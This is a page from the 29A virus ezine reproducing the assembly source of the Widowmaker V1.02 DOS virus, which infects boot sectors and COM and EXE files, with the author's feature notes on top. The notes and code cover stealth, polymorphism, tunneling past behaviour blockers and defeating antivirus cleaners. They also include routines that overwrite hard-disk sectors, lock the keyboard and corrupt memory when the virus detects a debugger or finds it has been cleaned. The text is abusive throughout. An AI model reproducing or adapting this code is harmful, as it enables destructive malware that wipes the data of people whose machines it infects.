Copy Link
Add to Bookmark
Report

29A Issue 03 05 08

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;
; - Widowmaker V1.02, done by ED-209/Immortal Riot -
;
; Multi-partite full-stealth slow-polymorphic BOOT/COM/EXE-infector.
;
;
;
;
;
;
;
;
;
; "Until now, there was no cure for Windows95..."
;
; "Time has come to pay..."
;
;
;
;
;
;
;
; NETTO SIZE : Approx. 5800 bytes.
; OPERATING SYSTEM : MS-DOS compatible systems.
; PROCESSOR : 8086 and up.
; CODING DATE : July/August-1998.
;
;
;
; Full-stealth (network compatible).
; Highly slow-polymorphic in files.
; Stealths reads/writes to the zerotrack of harddisks.
; Tunneling i13h/i21h with complex opcode-stealther.
; Skips various behaviour-blockers during tracing.
; Payload: random data-corruption.
; Variable encrypting original boot/boot/files.
; Disables stealth during execution CHKDSK & archivers.
; Retro: attacks systems after "removal" or fake calls.
; Fucks TBClean when cleaning.
; Adds parameters to various programs to avoid detection.
; Doesn't infect various AV-programs.
; Infects on findfirst/findnext.
; Uses UMBs while going resident from files.
; And does some other things, just take a look...
;
;
;
; INFECTION: This is a very fast infector, it infects on program execute
; (4B00h), open (3Dh), extended open (6C00h), get/set file
; attributes (43h), delete file (41h), and on handle findfirst/
; findnext operations (only randomly). The virus will avoid
; infecting Windoze-files, AV-programs, and files which are too
; big/small.
;
;
; STEALTH: The virus uses true re-direction stealth (no SFTs, so we are
; compatible with networks, etc). It intercepts i21h functions
; 11h/12h (findfirst/next FCB), 4Eh/4Fh (findfirst/next handle),
; 3Fh (read), 4202h (lseek to EOF), and 5700h (get filedate and
; time) to stealth infected files. Besides these standard
; stealthing-mechanisms it also cleans infected files before
; allowing any writes to it (i21h/40h), and cleans programs when
; executed by a debugger (i21h/4B01h). Reads and writes to the
; boot are stealthed. Another form of stealth is the fact that
; Widowmaker adds parameters to various (AV-) programs, in most
; cases parameters to skip the memory-scan (so it won't be
; detected if the scanner is updated and scans RAM for us), and
; parameters to skip the "this-program-is-old" message, this is
; done coz else the user could get a upgraded version of the AV-
; scanner which uses different techniques to detect us.
;
;
; TUNNELER: Widowmaker uses an recursive tunneler, in most cases it will
; skip UMBs so we don't have any problems with the INT 13h
; entrypoint anymore, for INT 21h it assumes the DOS datasegment
; is the DOS-segment (AH=52h). The tunneler also has an opcode-
; checker, which will hide & protect the trapflag, the following
; instructions are stealthed: PUSHF/POPF/IRET/INT/INTO/INT3 and
; the following prefixes are recursivly skipped: CS:/DS:/ES:/SS:
; /REPZ/REPNZ/LOCK. The virus also can trace/stealth POP SS
; instructions, so AVPTSR will not detect any tunneling attempts
; made by our virus. Also, it will check that the actual dos-
; segment is found and not AVP. If some AV-program tries to be
; funny by using our segment, so it can use un-stealthed
; instructions, it will have it's ass kicked immediately.
;
;
; PAYLOAD: There is a chance that the sector(s) being read/written by
; i13h are overwritten by a part of the virus (includes text).
; Besides this random data-corruption the virus also has an
; activation-routine which is called when the virus notices that
; it is being spotted. Whenever a disk is infected the virus
; first checks if a random signature is present on a specified
; sector, if so, then the disk was infected before and cleaned
; (thus the virus is spotted). Another "anti-spot" routine is
; the residency-check, it checks if a signature is present in
; the caller, if not then the call is made by a program that
; detects active virii in memory (and disables 'em). When the
; virus notices that it is being spotted it activates the
; payload: it locks the keyboard so no quick resets can be done,
; clears the screen and displays a message, and then overwrites
; most data on all harddisks in the system. The payload is also
; activated when the virus notices that it is being debugged.
;
;
; RETRO: Widowmaker detects when it is executed under TBClean, (or any
; other single-stepper), and if so, it trashes a part of the FAT
; (gee, can you believe how STUPID that TBClean program is?!),
; and corrupts memory with the message " DIE MOTHERFUCKER! ",
; (how original...), this also affects the videomemory, so it
; will scare the hell out of the Winshit users. Please note that
; the trick of executing a interrupt under TBClean was ripped
; from a article of Rhince & Rajaat.
;
;
; POLYMORPH: The polymorphic engine generates pointer-addressing decryptors
; by use of the four pointer-registers (BX/SI/DI/BP) with a
; random 16bit displacement. The code is encrypted with multiple
; algorithms (ADD/SUB/XOR/INC/DEC/NOT/NEG/ROL/ROR). Decryption
; is done wether upwards or downwards. Pointer-registers are
; changed with one of five methods (two directions, that gives
; us 10 different variations). The engine can produce quite
; complex garbage instructions: it supports non-zerodisplacement
; (un)-conditional JMPs, PUSHes/POPs, with garbage between 'em,
; CALLs to garbage sub-routines, dummy (sub)functions of various
; interrupts, calls to dummy interrupts, overlapping code (to
; confuse debuggers and/or disassemblers and it also generates
; most standard instructions used in programs. Plus a table with
; less-used instructions, to prevent MtE-alike detection. Most
; infected files are undetectable by heuristics, depending of
; the amount of INTs. Too make the life of AV-pussies even more
; harder it uses slow-polymorph, it will only generate a poly-
; decryptor when it becomes resident for the first time. Each
; file infected next, is carrying the same decryptor. Besides
; the external poly-layer, the virus also has a 2nd XOR-cryption
; layer (slow-variable key), with an anti-emulation routine, so
; there will be no flags triggered from the viruscode itself.
;
;
; DETECTION: This virus is not detectable by any of the scanners below,
; that is, by signature-scanning (including generic decryption).
; It also doesn't scan as MtE, TPE, etc, encrypted. It operates
; unnoticed by AVPTSR & TBAV. It takes TBScan quite some time to
; emulate his way tru the decryptors.
;
;
; - NOD 7.24 : Wow! a decent scanner! It
; detects infected files....
; Hrrmm..... Shit! Still, NOD
; can be defeated by using
; anti-heuristics similair to
; the ones of used for TBScan.
;
; - AVP 3.00 : No trigger.
;
;
;
; - TBScan 8.07 : No trigger in high heuristic
; in most cases, depending on
; the decryptor. As usual, the
; lousy heuristic analyzer is
; sometimes detecting things
; which aren't present at all.
;
;
;
; - TBClean 8.07 : Unable to clean, infact it
; activates the anti-debugging
; payload (bye bye harddisk!).
;
;
;
;
; This virus isn't exactly what I got in mind when I started
; with the whole project, there are quite a few things which
; couldn't be implemented. The reason for this is the slowly
; death of DOS, I simply refuse spending like 4 months to create
; a 'perfect' virus (no bugs, small, advanched, etc), which will
; never make it into the wild. The virus is mostly optimized
; with simple optimizations. I'm not 100% satisfied with the
; tunneler, it was the last thing I coded for this virus, and
; I didn't felt like making it 'perfect'. I haven't discovered
; any bugs in the tunneler, but I also haven't tested it that
; well. One thing that drove me crazy was this one part in the
; tunneler, where it compares the instruction-segment with the
; DOS-segment, the trapflag isn't turned off, though the correct
; DOS entrypoint-address is found.
;
;
; GREETS: Buz-, DrDope, Gulgi, Metal Militia, nUcLeii, Priest, r-,
; Rajaat, _ssr, T-2000, Targor, The Unforgiven, _URGO32, [VEiN],
; VirusBust, and Virus-X.
;
;
; !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !!
;
; I strongly suggest that you do NOT try out this virus!
; It is HIGHLY destructive!
; If you infect a diskette/harddisk for the second time, the virus
; will activate, and trash ALL drives in your system!
;
; If the world fucks me, I'll fuck it back...
;
;
; This baby is named after the illegal fireworks "Widowmakers" (and believe
; me, that name doesn't lie!). They procuce an ENORMOUS boom, and will blow
; your hands off in no-time!
;
;
;
;
; Special message goes out to the law: FUCK YOU! You will never bring me
; down! Stealin' our money, rippin' our freedom, I DON'T WANT YOU! I never
; asked for a master!
;
;
; For those about to die, we salute you...
;
;

;===========================[ W1D0WM4K3R.4SM ]===============================


.MODEL TINY
.STACK Work_Stack
.CODE

JUMPS ; I'm too lazy to fix this, sorry...


Work_Stack EQU 8000


Yes_dont_hurt_me = 0 ; Damage-routines disabled.
No_way_lets_kick_ass = 1 ; Damage-routines enabled.

Pussy_Mode = Yes_dont_hurt_me


Virus_Size EQU (Virus_End - $)
Netto_Size EQU (Virus_Size + Max_Decryptor)
Virus_Size_Mem EQU ((Netto_Size * 2) + 256 + Work_Stack + 15) / 16
Virus_Size_kB EQU ((Virus_Size_Mem * 16) + 1023) / 1024
Body_Sectors EQU ((Virus_Size - 512) + 511) / 512
Mark_Boot EQU 0FACEh
Encr_Loadersize EQU (510 - (Encrypted_Boot - $))
Res_Check_i13h EQU 0EFF9h
Res_Check_i21h EQU 0EB79h
Marker_i13h EQU 7622h
Marker_i21h EQU 1A63h
Marker_File EQU 0F2B1h
Marker_Call_OK EQU 4D37h
Mark_ID_Sector EQU 0DEADh
Century EQU 100 SHL 1 ; Hundred years in datetime-format.
Infected_Date EQU (2080 - 1980) SHL 1 ; 2080.


; Ripped from Mirror virus.
dwb macro wval, bval
dw wval
db bval
endm

Virus_Begin:

; === BOOT ===

JMP Virus_Entry
NOP

; === Original header of our host ===

Host_Bytes DW 'ZM' ; We are an .EXE-type.
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW OFFSET Carrier
DW 0

Hook_Counter DB 0

i01h DW 0, 0
Trace_Mode DW 0

i13h DW 0, 0
Traced_i13h DW 0, 0

i21h DW 0, 0
Traced_i21h DW 0, 0

ORG 62
Virus_Entry:
MOV BX, 7C00h + OFFSET Encrypted_Boot
MOV CX, Encr_Loadersize

Decr_Boot: XOR BYTE PTR CS:[BX], 00h ; Decrypt boot.
Key_Virus_Boot = BYTE PTR $-1
INC BX
LOOP Decr_Boot

JMP Encrypted_Boot

; *** DATA-TABLE ***

Stored_TS DW 0
Stored_HD DW 0
Sign_Boot DW Mark_Boot
Key_Stored_Boot DW 0


; *** ENCRYPTED IN BOOT ***

Encrypted_Boot: MOV SI, 7C00h
XOR DI, DI

CLI ; Set stack.
MOV SS, DI
MOV SP, SI
STI

MOV DS, DI

MOV DS:[7C00h + Hook_Counter], 2

INT 12h ; Reserve needed DOS-memory.
MOV BP, AX
SUB AX, Virus_Size_kB
MOV DS:[413h], AX

MOV CL, 6 ; Calculate our new segment.
SHL AX, CL

MOV ES, AX

MOV CX, 512 ; Copy bootsector to our
PUSH CX ; segment.
CLD
REP MOVSB

MOV AX, OFFSET Reloc_Boot

PUSH ES ; Pass control to resident
PUSH AX ; copy.
RETF


Copyright DB 'Widowmaker by [ED-209/Immortal Riot]', 0


Reloc_Boot: MOV AX, 0200h+Body_Sectors ; Read encrypted virusbody
POP BX ; into our segment. BX=512
MOV CX, CS:Stored_TS
INC CX
MOV DX, CS:Stored_HD
INT 13h ; Fuck! I *HATE* using INT's
; in my virii! No room for
; tunneler, sorry...

; === Decrypt encrypted virusbody ===

MOV AX, 0000h
Key_Virus_Body = WORD PTR $-2
MOV CX, (Body_Sectors * 512) / 2

Decr_Body: XOR CS:[BX], AX
INC BX
INC BX
LOOP Decr_Body

MOV CS:JMP_Databyte, CL

MOV CS:Old_Dos_Mem, BP

MOV AX, 13h * 4
CALL Trace_Interrupt

CLI
MOV DS:[13h * 4], OFFSET NewInt13h
MOV DS:[13h * 4 + 2], CS
MOV DS:[21h * 4], CX
MOV DS:[21h * 4 + 2], CX
MOV CS:i21h, CX ; Save INT 21h.
MOV CS:i21h+2, CX
STI

CALL Read_MBS ; Infect MBS.

INT 19h ; Reboot with stealth.

Version_Number DB '[V1.02]'


Check_Int21h:
CALL Push_All

CWD ; DS=0000h.
MOV DS, DX

PUSH CS
POP ES

MOV SI, 21h * 4
MOV DI, OFFSET i21h

CLD

CMPSW ; INT 21h changed?
JNE Hook_i21h

CMPSW ; INT 21h changed?
JE Exit_Chk_i21h

Hook_i21h: MOV AX, DS:[21h * 4 + 2]

OR AX, AX ; Not set yet?
JZ Exit_Chk_i21h

CMP AX, 800h ; Too high?
JA Exit_Chk_i21h

CMP AX, DS:[20h * 4 + 2] ; Same as INT 20h ?
JNE Exit_Chk_i21h

CMP AX, DS:[27h * 4 + 2] ; Same as INT 27h ?
JNE Exit_Chk_i21h

MOV SI, CS

CMP AX, SI ; Our own CS ? then not DOS.
JE Exit_Chk_i21h

LDS SI, DS:[21h * 4]

CMP DS:[SI], 9090h ; DOS-kernal?
JNE Exit_Chk_i21h

DEC CS:Hook_Counter ; Give system some time to
JNZ Exit_Chk_i21h ; stabilize the hook.

MOV DS, DX ; DS=0000h.

; Restore amount of DOS-memory after MCBs are created.

MOV WORD PTR DS:[413h], 0000h
Old_Dos_Mem = WORD PTR $-2

CALL Hook_Int21h

Exit_Chk_i21h: CALL Pop_All

RETN


;-----------------------------
; Tunnels INT 13h or INT 21h.
;
;
; AX = offset INT in IVT.
;-----------------------------
Trace_Interrupt:

CALL Push_All

MOV CS:Trace_Mode, AX

CWD ; DS=0000h.
MOV DS, DX

PUSH CS
POP ES

MOV SI, 01h * 4 ; Save address INT 01h.
MOV DI, OFFSET i01h
CLD
MOVSW
MOVSW

PUSH AX

CMP AX, 13h * 4 ; Can we use DOS-functions?
JNE Trace_With_Dos

MOV WORD PTR DS:[SI-4], OFFSET NewInt01h
MOV WORD PTR DS:[SI-2], CS

JMP Set_TF

Trace_With_Dos: PUSH CS
POP DS

MOV AX, 2501h ; Hook INT 01h.
MOV DX, OFFSET NewInt01h
INT 21h

MOV AH, 52h ; Get list of lists.
INT 21h ; ** UNDOCUMENTED **

MOV DOS_Segment, ES

Set_TF: PUSHF ; Set trapflag.
POP AX
OR AH, 00000001b
PUSH AX
POPF

POP SI ; Offset in IVT.
PUSH SI

XOR AX, AX ; DS=0000h.
MOV DS, AX

PUSH CS ; ES=CS.
POP ES

CMP SI, 13h * 4
JNE Trace_Int21h

MOV DI, OFFSET i13h
CLD
MOVSW
MOVSW

POP SI
CLD
MOVSW
MOVSW

XOR AH, AH ; Trace reset disk.
CALL Int13h

JMP Exit_Trace_Int

Trace_Int21h: MOV DI, OFFSET i21h
CLD
MOVSW
MOVSW

POP SI
MOVSW
MOVSW

MOV AH, 19h
CALL Int21h

Exit_Trace_Int: PUSHF ; Play save and clear TF.
POP AX
AND AH, NOT 00000001b
PUSH AX
POPF

PUSH DS ; ES=0000h.
POP ES

PUSH CS
POP DS

CMP Trace_Mode, 13h * 4
JNE Restore_i01h_DOS

MOV SI, OFFSET i01h
MOV DI, 01h * 4
CLD
MOVSW
MOVSW

JMP Exit_Tracer

Restore_i01h_DOS:

MOV AX, 2501h
LDS DX, DWORD PTR i01h
CALL Traced_Int21h

Exit_Tracer: CALL Pop_All

RETN


Read_MBS:
MOV AX, 0201h ; Read MBS of 1st harddisk
MOV BX, OFFSET Buffer ; via INT 13h so the virus
INC CX ; will infect it, (CX=0001h).
MOV DX, 0080h
INT 13h

RETN


Virus_Name DB '[W1D0WM4K3R]'

ORG 510
DW 0AA55h ; Valid bootsector-marker.


Push_All:
POP CS:Return_Address ; POP return-address.

PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH BP
PUSH SI
PUSH DI
PUSH DS
PUSH ES

JMP CS:Return_Address


Pop_All:
POP CS:Return_Address

POP ES
POP DS
POP DI
POP SI
POP BP
POP DX
POP CX
POP BX
POP AX
POPF

JMP CS:Return_Address


;-------------------------------
; AX = Cryption-key.
; CX = Words to crypt.
; ES:BX = Buffer to crypt.
;-------------------------------
Word_Crypt:
PUSH BX

Crypt_Word: XOR ES:[BX], AX
INC BX
INC BX
LOOP Crypt_Word

POP BX

RETN


; AL = INT.
; AX:BP = address INT.
Get_Int:
PUSH DX
PUSH DS
PUSH ES

XOR AH, AH
SHL AX, 2
XCHG BP, AX

XOR AX, AX ; DS=0000h.
MOV DS, AX

LDS DX, DWORD PTR DS:[BP]

MOV BP, DX
MOV AX, DS

POP ES
POP DS
POP DX

RETN


Strip_Prefixes:
PUSH CX
PUSH SI

PUSH CS
POP ES

CLD

Skip_Prefix: LODSB ; AX = next instruction(s).

MOV CX, (End_Prefixes - Prefixes)
MOV DI, OFFSET Prefixes
REPNE SCASB ; Prefix?
JE Skip_Prefix ; Then skip it, & loop again.

MOV BX, SI

POP SI
POP CX

RETN


;============================================================================
; INT 01h HANDLER
;============================================================================
NewInt01h:
MOV CS:Tracer_DS, DS

PUSH CS
POP DS

MOV Tracer_AX, AX
MOV Tracer_BX, BX
MOV Tracer_CX, CX
MOV Tracer_DX, DX
MOV Tracer_BP, BP
MOV Tracer_SI, SI
MOV Tracer_DI, DI
MOV Tracer_ES, ES

POP SI ; IP
POP DS ; CS
POP CX ; Flags

CLD

CALL Skip_Blockers ; Prevent stack-checks.
JC Exit_Int01h

MOV AX, DS

CMP CS:Trace_Mode, 13h * 4 ; Tracing INT 13h ?
JNE Tracing_i21h

CMP AX, 0C800h ; Below BIOS ?
JB Stealth_Opcode

CMP AX, 0F000h ; Above BIOS ?
JA Stealth_Opcode ; This also skips most UMBs.

MOV CS:Traced_i13h, SI
MOV CS:Traced_i13h+2, AX

JMP Kill_TF

Tracing_i21h:
CMP AX, 0000h
DOS_Segment = WORD PTR $-2
JNE Stealth_Opcode

CMP DS:[SI], 9090h
JNE Stealth_Opcode

MOV CS:Traced_i21h, SI
MOV CS:Traced_i21h+2, AX

Kill_TF: AND CH, NOT 00000001b

JMP Exit_Int01h

Stealth_Opcode:
MOV BP, CS

CMP BP, AX ; Skip our CS, so our own
JNE Get_Opcode ; instructions won't be
; stealthed.

CMP SI, OFFSET Virus_End ; Piggybacker?
JB Exit_Int01h

JMP Retaliate ; Then fuck him!

Get_Opcode: CALL Strip_Prefixes

CMP AL, 17h ; POP SS ?
JNE Check_PUSHF

MOV BP, SS
POP DX

CMP DX, BP ; Dummy SS-modification ?
JNE Restore_Stack

MOV SI, BX ; Skip POP SS.

JMP Get_Opcode

Restore_Stack: PUSH DX

Check_PUSHF: CMP AL, 9Ch ; PUSHF ?
JNE Check_POPF

MOV SI, BX ; Skip PUSHF

AND CH, NOT 00000001b ; Clear TF.
PUSH CX ; PUSH flags.
OR CH, 00000001b ; Set TF back.

Check_POPF: CMP AL, 9Dh ; POPF ?
JNE Check_IRET

POP CX ; POP flags to CX.
OR CH, 00000001b ; Set TF.
MOV SI, BX ; Skip POPF

Check_IRET: CMP AL, 0CFh ; IRET ?
JNE Chk_Breakpoint

POP SI
POP DS
POP CX
OR CH, 00000001b ; Set TF.

CMP AL, 0CEh ; INTO ?
JNE Chk_Breakpoint

TEST CH, 00001000b ; Overflow flag set?
JZ Exit_Int01h

MOV AX, BX

JMP Simulate_INT

Chk_Breakpoint: CMP AL, 0CCh ; INT 3 (breakpoint) ?
JNE Check_INT

MOV AX, BX ; AX = return-address.

JMP Simulate_INT

Check_INT: CMP AL, 0CDh ; INT ##?
JNE Exit_Int01h

LEA AX, [BX+1] ; Return-address INT.

Simulate_INT: AND CH, NOT 00000001b ; Clear TF.

PUSH CX ; Flags
PUSH DS ; CS
PUSH AX ; AX

OR CH, 00000001b ; Set TF.

MOV AL, 03h

CMP BYTE PTR DS:[BX-1], 0CCh ; Breakpoint?
JE Get_Int_Addr

MOV AL, DS:[BX] ; AL = INT #.
Get_Int_Addr: CALL Get_Int

MOV SI, BP
MOV DS, AX

JMP Exit_Int01h

Exit_Int01h: PUSH CX ; Flags
PUSH DS ; CS
PUSH SI ; IP

MOV AX, 0000h
Tracer_DS = WORD PTR $-2
MOV DS, AX

MOV AX, 0000h
Tracer_ES = WORD PTR $-2
MOV ES, AX

MOV AX, 0000h
Tracer_AX = WORD PTR $-2

MOV BX, 0000h
Tracer_BX = WORD PTR $-2

MOV CX, 0000h
Tracer_CX = WORD PTR $-2

MOV DX, 0000h
Tracer_DX = WORD PTR $-2

MOV BP, 0000h
Tracer_BP = WORD PTR $-2

MOV SI, 0000h
Tracer_SI = WORD PTR $-2

MOV DI, 0000h
Tracer_DI = WORD PTR $-2

IRET


;-----------------------------------------------------------------------
; Skips behaviour-blockers in memory without patching any code.
;
; I tested these routines with a TBDRIVER/TBDISK version from '92 and a
; version of 1998, so I suppose it will work with all versions within.
;
; Skips TBDRIVER & TBDISK.
;-----------------------------------------------------------------------
Skip_Blockers:
; === Check for TBDRIVER ===

CMP DS:[SI], 05EBh ; JMP SHORT ?
JNE No_TBDriver

CMP BYTE PTR DS:[SI+2], 0EAh ; JMP FAR chain ?
JNE No_TBDriver

CMP DS:[SI+7], 9CFAh ; CLI & PUSHF ?
JNE No_TBDriver

INC SI ; Skip JMP over chain.
INC SI

STC

RETN


; === Check for TBDISK ===
No_TBDriver:
CMP DS:[SI], 1D75h ; JNZ exit.
JNE No_TBDisk

CMP DS:[SI-2], 0100h
JNE No_TBDisk

CMP DS:[SI-4], 1606h
JNE No_TBDisk

CMP DS:[SI-6], 0F62Eh
JNE No_TBDisk

CMP DS:[SI-8], 0FC9Ch
JNE No_TBDisk

AND CL, NOT 01000000b ; Clear ZF.

STC

RETN

No_TBDisk:
CLC

RETN


Prefixes DB 02Eh ; CS:
DB 03Eh ; DS:
DB 026h ; ES:
DB 036h ; SS:
DB 0F3h ; REPZ
DB 0F2h ; REPNZ
DB 0F0h ; LOCK
End_Prefixes:



Start_File:
CLI ; Detect tracers such as
PUSH AX ; debuggers, TBClean, etc.
MOV BP, SP
POP AX
CMP [BP], AX
STI
JE No_Tracer

Retaliate: MOV AX, 0320h ; Trash critical area of HD.
MOV CX, 02h
MOV DX, 0180h
PUSH SS ; Trix sum fewlz.
POP SS

DB 2Eh ; CS: (anti-TBClean).
IF Pussy_Mode EQ No_way_lets_kick_ass
INT 13h
ENDIF

; Fuck TBClean code.

CLD
XOR BX, BX

Trash_Mem: MOV ES, BX

MOV AH, 0CFh
MOV CX, (Trash_Mem_Msg_End - Trash_Mem_Msg)
MOV SI, OFFSET Trash_Mem_Msg
XOR DI, DI

Dump_Character: LODSB
STOSW

LOOP Dump_Character

SUB BX, 3
JMP Trash_Mem

Trash_Mem_Msg DB ' DIE MOTHERFUCKER! '
Trash_Mem_Msg_End:


No_Tracer: MOV AX, Res_Check_i21h ; INT 21h residency-check.
INT 21h

CMP AX, Marker_i21h ; Already hooked INT 21h ?
JE Run_Host

MOV AX, Res_Check_i13h ; INT 13h residency-check.
INT 13h

CMP AX, Marker_i13h ; Already hooked INT 13h ?
JE Run_Host

MOV AX, 5802h ; Get UMB link state.
INT 21h

XOR AH, AH ; Save state on stack.
PUSH AX

MOV AX, 5803h ; Link UMBs to memory-chain.
MOV BX, 0001h
INT 21h

XOR DI, DI

MOV AH, 62h
INT 21h

XCHG BX, AX
DEC AX

Find_Last_MCB: MOV DS, AX

CMP BYTE PTR DS:[DI], 'Z' ; Last block in chain?
JE Last_MCB_Found

INC AX ; MCB-header.
ADD AX, DS:[DI+3] ; Size in block.

JMP Find_Last_MCB

Last_MCB_Found: XCHG CX, AX

MOV AX, DS:[DI+3]

SUB AX, Virus_Size_Mem
JC Run_Host

MOV DS:[DI+3], AX

INC AX
ADD AX, CX

MOV ES, AX

MOV AX, 5803h ; Restore UMB link state.
POP BX
INT 21h

PUSH CS
POP DS

MOV CX, Virus_Size ; Copy us to our segment.
CLD
REP MOVSB

MOV AX, OFFSET Reloc_File

PUSH ES ; Pass control to resident
PUSH AX ; viruscopy.
RETF

DB 0EAh ; Some overlapping code.

Reloc_File:
PUSH CS
POP DS

CALL Hook_Int21h

MOV AX, 13h * 4 ; Find entrypoint of INT 13h.
CALL Trace_Interrupt

MOV AX, 2513h ; Hook INT 13h.
MOV DX, OFFSET NewInt13h
CALL Traced_Int21h

CALL Read_MBS

XOR SI, SI ; Zero displacement.

Run_Host: POP ES ; Restore most registers.
POP DS
POP DI
POP BP
POP DX
POP CX
POP BX
POP AX

ADD SI, (OFFSET Host_Bytes - Virus_Begin)

IN AL, 21h ; Reverse state keyboard.
XOR AL, 00000010b
OUT 21h, AL

CMP CS:[SI.EXE_Mark], 'ZM' ; Our host is a .EXE-file?
JE Run_Host_EXE

Run_Host_COM: PUSH CS
POP DS

MOV DI, 100h ; Restore bytes of .COM-host.
PUSH ES
PUSH DI
MOV CX, (24 / 2)
CLD
REP MOVSW

XOR AX, AX
XOR SI, SI
XOR DI, DI

PUSH ES
POP DS

RETF

DB 0EAh ; Some overlapping stuph.

Run_Host_EXE: MOV AX, DS
ADD AX, 10h

ADD CS:[SI.Program_CS], AX
ADD AX, CS:[SI.Program_SS]

CLI ; Restore host' stack.
MOV SS, AX
MOV SP, CS:[SI.Program_SP]
STI

XOR AX, AX

; Pass control to host.

JMP DWORD PTR CS:[SI.Program_IP]


; Dedicated to the dungeon keeper of #virus,
; I told you I would do it you lame fuck! Hahahaha!


DB 'Marc sucks!'




Stealth_Read:
CALL Push_All

MOV CS:Read_Bytes, CX
MOV CS:Read_Buffer, DX

CALL Save_File_Pos

CALL Check_Stealth
JE JMP_Abort_Read

CALL Check_File_Date
JNB Check_Read

JMP_Abort_Read: JMP Abort_Stealth_Read

Check_Read: CALL Save_File_Pos

ADD AX, 00h
Read_Bytes = WORD PTR $-2
ADC DX, CX

MOV DI, DX ; DI:SI = pos after read.
XCHG SI, AX

CALL Go_EOF

SUB AX, Netto_Size ; DX:AX = length host.
SBB DX, CX

CMP DI, DX
JB Skip_Stealth_Read
JA Do_Stealth_Read

CMP SI, AX
JA Do_Stealth_Read

Skip_Stealth_Read:

MOV AX, CS:Read_Bytes

JMP Stealthed_Read

Do_Stealth_Read:
SUB AX, CS:Old_Pos_Low

Stealthed_Read: PUSH AX

CALL Restore_File_Pos

MOV DI, DX ; DI:SI = oldpos.
XCHG SI, AX

MOV AH, 3Fh ; Do stealthed read.
POP CX
MOV DX, 00h
Read_Buffer = WORD PTR $-2
CALL Int21h

MOV BP, SP

PUSHF
POP [BP.Reg_Flags]

MOV [BP.Reg_AX], AX
MOV [BP.Reg_DX], DX

CALL Save_File_Pos

OR DI, DI ; Reading from 1st 64k ?
JNZ Exit_Stealth_Read

CMP SI, 24 ; Reading header?
JNB Exit_Stealth_Read

CALL Go_EOF

SUB AX, (Netto_Size - 3)
SBB DX, CX

ADD AX, SI ; Plus offset in header.
ADC DX, CX

MOV CX, DX ; Seek to position stored
XCHG DX, AX ; header.
MOV AX, 4200h
CALL Traced_Int21h

MOV AH, 3Fh ; Read original header in
MOV CX, 24 ; caller's buffer.
SUB CX, SI
MOV DX, CS:Read_Buffer
ADD DX, SI
CALL Traced_Int21h

CALL Restore_File_Pos

Exit_Stealth_Read:

CALL Pop_All

RETF 2

Abort_Stealth_Read:

CALL Restore_File_Pos
CALL Pop_All

JMP JMP_Int21h


Stealth_Seek:
CALL Push_All

CALL Check_Stealth
JE Exit_Stealth_Seek

CALL Check_File_Date
JB Exit_Stealth_Seek

CALL Go_EOF

SUB AX, Netto_Size ; DX:AX = length of our host.
SBB DX, CX

MOV CX, DX ; Seek to end of our host.
XCHG DX, AX
MOV AX, 4200h
CALL Traced_Int21h

MOV BP, SP

PUSHF ; Store flags.
POP [BP.Reg_Flags]

MOV [BP.Reg_AX], AX ; Store results.
MOV [BP.Reg_DX], DX

CALL Pop_All

RETF 2

Exit_Stealth_Seek:

CALL Pop_All

JMP JMP_Int21h


Clean_Handle:
CALL Push_All
CALL Hook_Int24h

CALL Check_Handle
JNZ Exit_Clean_Handle

CALL Check_File_Date
JB Exit_Clean_Handle

PUSH CX
PUSH DX

CALL Save_File_Pos

CALL Go_EOF

SUB AX, (Netto_Size - 3)
SBB DX, CX

MOV CX, DX ; Go to position of
XCHG DX, AX ; stored header.
MOV AX, 4200h
PUSH AX
CALL Traced_Int21h

CALL Read_Header

CALL Go_EOF

SUB AX, Netto_Size ; DX:AX = size of our host.
SBB DX, CX

MOV CX, DX ; Go to end of our host.
XCHG DX, AX
POP AX ; AX=4200h.
CALL Traced_Int21h

MOV AH, 40h ; Write <EOF> marker,
XOR CX, CX ; (cut-off virusbody).
CALL Traced_Int21h

CALL Go_BOF

MOV AH, 40h ; Write original header back.
MOV CX, 24
MOV DX, SI
CALL Traced_Int21h

MOV AX, 5701h
POP DX
POP CX
SUB DH, Century
CALL Traced_Int21h

CALL Restore_File_Pos

Exit_Clean_Handle:

CALL Unhook_Int24h
CALL Pop_All

RETN


Clean_By_File:
CALL Push_All

MOV AX, 3D02h ; Open file read/write.
CALL Traced_Int21h
JC XIt_Clean_File

XCHG BX, AX ; BX = filehandle.

CALL Clean_Handle ; Clean file.

MOV AH, 3Eh ; Close file.
CALL Traced_Int21h

XIt_Clean_File: CALL Pop_All

JMP JMP_Int21h

Clean_By_Handle:

CALL Clean_Handle

JMP JMP_Int21h


Stealth_Filedate:

CALL Int21h ; Get filedate & time.

PUSHF
JC Exit_Stealth_Date ; Exit when error.

CMP DH, Infected_Date ; Infected date?
JB Exit_Stealth_Date

SUB DH, Century ; If so, restore original.

Exit_Stealth_Date:

POPF

RETF 2 ; Return to caller.


Check_File_Date:

MOV AX, 5700h
CALL Traced_Int21h

CMP DH, Infected_Date ; Infected datestamp?

RETN


Read_Header:
MOV SI, OFFSET Header

MOV AH, 3Fh
MOV CX, 26
MOV DX, SI
CALL Traced_Int21h

RETN


Check_Handle:
MOV AX, 4400h ; Get IOCTL-info.
CALL Traced_Int21h

TEST DL, 10000000b ; Only filehandles.

RETN


Promise DB '3Y3 W1LL D3$TR0Y D1Z W0RLD'


Ret_Mark_i21h:
CMP DS:[SI.Sign_Legal_Call], Marker_Call_OK
JNE Activate

MOV AX, Marker_i21h

IRET


; Displays a message & trashes all drives.
Activate:
IN AL, 21h ; Rip their keyboard.
OR AL, 00000010b
OUT 21h, AL

PUSH CS
POP DS

PUSH CS
POP ES

MOV AX, 03h ; Clear screen.
INT 10h

MOV SI, OFFSET Payload_Msg ; Display payload-message.
CALL Display_Msg

XOR BX, BX
MOV CX, 02h
MOV DX, 0180h

Trash_Loop: XOR AH, AH ; Reset disk.
CALL Traced_Int13h

MOV AX, 0320h ; Trash 32 sectors starting

IF Pussy_Mode EQ No_way_lets_kick_ass
CALL Traced_Int13h ; at sector 2.
ENDIF

ADD CH, DH ; Next track.
ADC DL, BL ; Next drive.

JMP Trash_Loop


Payload_Msg DB 0Ah, 0Dh, 0Ah, 0Dh

DB '*** W1D0WM4K3R V1RUS ***'
DB 0Ah, 0Dh, 0Ah, 0Dh

DB 'I''m the Widowmaker, making yet another widow!'
DB 0Ah, 0Dh
DB 'MUHAHAHAHA! DIE YOU FUCK!!!'
DB 0Ah, 0Dh

DB 0Ah, 0Dh, 00h


